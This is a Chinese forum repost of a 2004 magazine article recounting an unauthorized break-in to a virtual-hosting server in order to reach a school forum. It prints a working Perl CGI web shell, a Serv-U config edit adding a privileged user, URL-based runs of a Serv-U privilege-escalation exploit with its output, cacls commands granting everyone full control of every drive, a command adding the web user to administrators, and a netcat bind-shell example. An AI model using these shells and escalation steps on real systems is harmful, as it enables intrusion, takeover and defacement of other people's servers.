找回密码
 立即注册
查看: 2393|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
" V4 _# W# |7 o4 W6 m0 \本文作者:angel- g. q/ [& H$ R7 ]* f! e
文章性质:原创. R# ]6 Y) L' v2 {
发布日期:2004-11-09
0 h1 N9 X, J6 z8 @# l* W, N注意:6 t9 F" F7 k* P2 @' `+ ]/ K: u. U7 b7 H
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。; I+ Y- S, S; h/ l" d' g& s/ Q
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。. {& r8 _7 j/ L, T& \! r3 \; t
- H$ V/ A" w, T, c" I3 v
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ' Z1 T2 E# d5 t5 i' A1 k4 G

) \/ L$ @; E# U0 y) ]0 P% m2 r) O  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 9 v, [: c8 o% p4 g9 k
4 g- O7 a) _+ Y9 N" h: w! K5 c4 _. a
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
, _+ D+ L, _- Z0 j" }0 ~1 E: L* Q2 I* f6 n% |6 J" B  M" l- j4 k
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
# h' w7 Z2 @) {7 X: v% a6 y* m6 T/ {' L5 @( g  S
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
+ A: \( V  V2 t( Y5 H
- I5 E# @, c" f& O' ]  w2 r. Y6 ~& `  没有目的的跳转目录着……
6 v+ a, m1 p! O# O% K
/ e2 p0 p0 b/ f7 r- y  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
8 e3 q3 ^2 {" C% j6 T/ x9 h5 l( ^, t! ~: d5 O8 F
  结束了吗?不,我试着 FTP 一下: % q/ ^7 \" J# k" ~; Y- c5 y9 j6 n

( y( v5 @1 I5 K8 A( BMicrosoft Windows 2000 [Version 5.00.2195]
" N# d3 {6 S$ \/ e(C) 版权所有 1985-2000 Microsoft Corp.
8 M! m9 O+ Q8 m; e% a; g5 O; X
- `+ \' s9 W& c9 p  m) [C:\Documents and Settings\Administrator>ftp www.school.com
" j7 E/ G: I. S3 `3 z' v$ FConnected to www. school.com. 6 a) N. ^5 c! r: d1 T1 q
220 Welcome to FTP Server...
/ P' O7 x6 f1 cUser (www.bjtrq.com:(none)):
- M& p3 k5 C  {- O5 d331 User name okay, need password. % ~- ?5 E+ N, v2 V( `
Password: . F1 v+ W, p% j) B
530 Not logged in. ; C: X* A  q; v4 g; [
Login failed.
" c2 i! ~& Y; S% k& W) N. |! Kftp> bye + o0 c9 B! p) F+ [" d: c
221 Goodbye! * y* }3 q' ]6 g9 L2 U
+ ?0 S8 J6 O( ]. E9 V

/ c/ G; B  Y5 F6 s  n  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……   D" l6 q3 j, I& i
) K; ^* T' c8 w
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ! \( |7 b$ A# W3 V! F  ^. y
- F& j, c+ D$ e, G$ c
Application Data
8 N  Z9 `1 b  e2 u% _# |Documents
$ f& w8 g" p  p6 g! nDRM2 _7 Y# A( ~6 e' M/ @
Favorites
8 g! J' `: @1 G2 ?" O) `) R4 wTemplates
* E. p1 A0 N  j3 ]! L「开始」菜单
$ ~6 o$ U% j+ h4 `桌面
- F5 z6 e+ ^/ }# z 9 y( T. z4 H3 M  N, n6 R6 ~
+ ?5 a1 P7 |3 D4 ]8 u1 t
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 6 B/ R# E7 T  U7 S) j; }

) G; G* ^+ Q) }  i" [ActiveState ActivePerl 5.8
1 ?1 m7 R6 N& f, Z) h7 ^Administrative Tools: W. I- E) v4 z, v- _1 [
Deerfield.com! t5 q. l! E& Z3 R/ Y5 `1 e4 E4 D6 M
DTemp
  l0 C; C0 i# Y) g- }7 J) oIPSentry
* A4 c  g& o) o! M6 G0 V4 CMBM 54 O3 w: {7 ]$ n' s8 a
NetMeter5 D3 z7 _  m" d4 A$ v  [
Network ICE
6 f* D$ N2 Y- ~* {: V1 mPersits Software AspEmail
5 p  b' r3 G! k" D# @Persits Software AspJpeg
2 e9 M% W* D, x, |0 H8 DServ-U FTP Server
4 a  l& H9 n1 H7 |- J5 O1 ZSymantec Client Security
1 W. w: t3 H* I) b. s: q* MWindows 优化大师
, d6 H6 n, v4 |0 |8 }WinRAR& A& E8 q2 d9 g3 _4 o
启动$ G) Y5 H. Y2 V# @1 b  n( h
管理工具
3 p  [5 M" S$ h& Z3 c" |附件: @6 S8 |$ Z" e3 l) x$ ~. o. X

6 f0 q& R+ U0 I3 T0 w' v
( V; j2 X' C% I" T  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 - M3 k0 O: n5 h3 @
5 Q. u' C$ Y8 H! t5 P9 E
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: $ ]8 [# L# H7 h" b! j: [
( X3 m+ d( H8 R- z
User281=angel|1|0
. ]; g$ v( M8 z, m8 p, i7 v
1 O% ]& h8 j# G% y: o; z  u8 c( e. p- X# a  y9 W0 j
  然后加上 : ]/ C3 T6 N, m: B: o
$ W' Z  w9 _/ l. c, {! {
[USER=angel|1]1 s  V+ z) b6 M9 o0 o! E
Password=ng98F85379EA68DBF97BAADCA99B69B805
9 g8 ]" K' B' R4 L1 |HomeDir=D:\websites3 e, ^' L% ?0 `$ H9 A" I/ }
RelPaths=1
5 F) b6 w+ c! O+ p9 z, d" cTimeOut=600
# q& c# S5 `, f$ H  z7 {" b# pMaintenance=System  d# `5 L5 P$ R; B8 e3 k% v: X% O
Access1=D:\websites|RWAMELCDP
' w8 W' u' L) Y% BSKEYValues=0 x  O$ S- g$ m  Y7 l2 d/ g
# L# c% X" [" x; Y

( f0 y( B- A* D: e% A/ t6 p  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # ^! `1 Q  i+ ]6 G; ~1 U2 h
* L/ W$ b0 D- m$ o
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
- G0 @9 k) q6 ]% s2 G; c& S2 W9 M' j$ c: }5 O9 v1 V/ E9 R3 Y
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 . U, }' c/ x* V9 \! l+ J

. D3 j* M! K' A, u$ ~  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
& j! U1 C& N4 _1 M2 R9 r, e
0 H7 @1 z! Z6 H+ b3 B7 x#!/usr/bin/perl
  k8 e2 k8 @$ mbinmode(STDOUT);- W" J! M9 a  [1 O
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
( D/ t2 k* c3 `' _2 t$_ = $ENV{QUERY_STRING};6 f/ h+ o1 G+ y! K
s/%20/ /ig;' G9 W- B. Q. r
s/%2f/\//ig;
! [; l, v' g; `$execthis = $_;/ ^( C$ y  @2 i; V0 S
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
  A: m" [# _+ r3 T5 ^: bopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
# q6 Z; W3 V( s$ f8 q  }system($execthis);! i, r& k. F& A8 c
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
  ]; h, V4 E$ Y4 X3 m$ z2 n- Xclose(STDERR);( M+ ^9 s0 K, W% [; J5 W
close(STDOUT);
# v( i/ o3 y: ]0 K4 Yexit;3 Z$ ^' e9 [& f  O  j

6 l5 s! T  S% x) B, H
2 ]7 _  p/ [7 o* D! B  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 1 Z* e# E. ]* ?1 c  f6 |

4 J! [7 y& o# A8 I5 H6 \- b  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
9 F3 A; L( j2 R
) O, N7 `7 y5 h+ Q$ W' p* phttp://anyhost//cmd.pl?d:\user\bin\su.exe - V: I  a" W' t+ }
, q% y4 Z; @( O4 ]  K: n) J3 r

+ W) R1 E3 B1 l/ F  返回:
$ L( s8 v+ f% A  e: R) {
2 T; U( X( h3 ^& A3 I# DServ-u >3.x Local Exploit by xiaolu
3 o0 h" s$ @0 [. I& ]9 @1 g* F: s- R1 U, `9 ?
USAGE: serv-u.exe "command"
& D( V5 X; N8 i% Q. i8 K  ?8 u3 D2 B4 T5 x, O* ]: Q9 i' j
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" / q, B$ d. l, G# t

+ R# @4 ~8 B. ^* J
$ r+ G, h, f& z2 c+ `( [! C  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
$ P+ ^: j! m9 T: v& W8 A
3 ]- n4 B! y# b' k* x2 Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
* S  V. U# R, v: U( d
- g5 H6 U" w" [; O) `http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
6 m% U9 n* U; E( k8 P" ^  o6 [# T
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" / I9 ]& B! x7 l9 g, M: k
4 [. i" k; s% s! }* G6 c
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 3 W) `) O& w' h; O- F3 Z

2 n# A  Q8 T3 f8 Q/ R! d& b0 m6 T8 ?( _6 y) \8 H4 l
  返回下面的信息,就表示成功了!!! 6 _% }) H1 X. P

  q* ~' ]& v$ z' d1 tServ-u >3.x Local Exploit by xiaolu 9 ^4 X8 ?& g+ d2 i7 y  J9 s
: i& ~* k4 R* ?4 p
<220 Serv-U FTP Server v5.2 for WinSock ready... & ^' e& T7 p& n6 a/ y# _

) z! P# ?- C* v4 g  Y0 }>USER LocalAdministrator - C; M6 X  p& z+ k- Q3 B# h9 N

" f0 S/ X; X2 Y! s3 y+ J; @<331 User name okay, need password. 3 v8 h6 K4 [1 W0 E

6 n, a! h9 `# s; {****************************************************** 4 q6 G5 v% _3 b6 ?

/ V1 s2 y1 h# `9 d>PASS #l@$ak#.lk;0@P
- _2 I: ~) I9 I9 n7 Q/ q5 r9 f2 O2 a" \% }6 T: l
<230 User logged in, proceed. 2 J" k. u, m+ I0 @- n7 z( i' t
1 v0 q. L/ b7 }( H# T: J  e
****************************************************** $ @4 y0 b0 L+ Q5 `+ V

; `: m% |, y, t1 H9 b! J>SITE MAINTENANCE 8 ^& Y1 Y9 T& [8 `" u2 V1 E

& v5 v4 g- z: @  E5 J. K******************************************************
( x) P( h1 x+ M  z2 D$ \. @
5 i7 f- I( w' W. w3 X) y' b[+] Creating New Domain...
/ f, o1 u% P0 l/ f
5 V1 _& g3 y# O<200-DomainID=2
0 A2 w% R4 U" a4 a. k  V- @/ y
: a, c: s$ k; V# ~/ H. @<220 Domain settings saved
6 }' x5 W, b: a! _5 H
" T2 Z$ M1 Z% `1 o, e, f1 c! _******************************************************
- w: A% p6 s# P: H, S) U8 q' X4 P6 q) j6 H/ w2 e5 o% l
[+] Domain xl:2 Created - Y, C; p6 E$ {1 R$ g5 P. K

8 F7 e) t# }% @* f( u& Z[+] Creating Evil User
3 v  l# Y, C/ B& n/ D! t7 Y- Y, g! p& }8 [. ^
<200-User=xl
* e7 b0 y" ~* R
  ^8 |2 V& j- r- J# [/ E+ J" R200 User settings saved
9 N% L/ L( ^+ A2 _5 T* G7 F3 K3 q; n! R& x% {1 v) U$ b
****************************************************** $ M2 H9 [5 \0 S+ ?5 A
) Y  T( W& L2 P+ ^" F( Y' Y
[+] Now Exploiting...
% H% _* d$ }& h  Z6 n# a( L' c
  ^4 @- Z+ ^: R7 ?4 Q>USER xl ) A2 b9 |: Y6 \4 j6 Q

5 U, X: G2 V0 r/ o! a<331 User name okay, need password. 8 V( X/ P; _# v) @$ {9 h0 Z
: D' I/ C; M" W0 [' ^  ^8 w/ q
****************************************************** 8 P( ?2 H4 ]' k* D& b

% T+ i- V! g$ H5 }4 E' h>PASS 111111 / x) E6 E( \- z+ p

4 j' o# u6 L$ @$ H+ ~0 L1 C<230 User logged in, proceed.
/ d1 t. y: Z0 t; v  D7 F9 ^5 Y: D
0 b- ?. f" v" t******************************************************
" S& x' [; G; [# Y) Q
/ f' k2 o" _, R; ]: |0 U& S[+] Now Executing: cacls.exe c: /E /T /G everyone:F
% ]. S2 I; m# F  g5 |
6 K8 h, i: B2 ^! S9 ~6 w+ k5 Y<220 Domain deleted - l2 M3 A$ d1 X" u: H  m
$ G7 ^" Q! n/ Y8 [7 [; W7 K
******************************************************
( R6 C, C8 Q5 H3 B
: @# |2 U. ~' R4 h4 ?( M5 E, P
7 y" S4 z: k$ x  @1 R# {# |: |  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 1 Z% x1 s& T; E3 X8 I4 ~6 @

! [4 D) C+ m7 {* `+ ohttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
: I( s0 ~, r, O7 Z3 s) Z# }
3 I3 ?6 T; a4 M8 N$ Q( w
' Y' W6 S: v. c& G2 v- U) o  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ! K9 h- V& w2 k( h- @9 c
1 B# U8 L. c8 m7 d6 e2 f
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。' L" E4 H8 D* J; ]" J+ ]1 H
# w, ?7 C# K2 w. N2 ~
  
8 o) Y0 g* Z- N+ v! U" D6 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表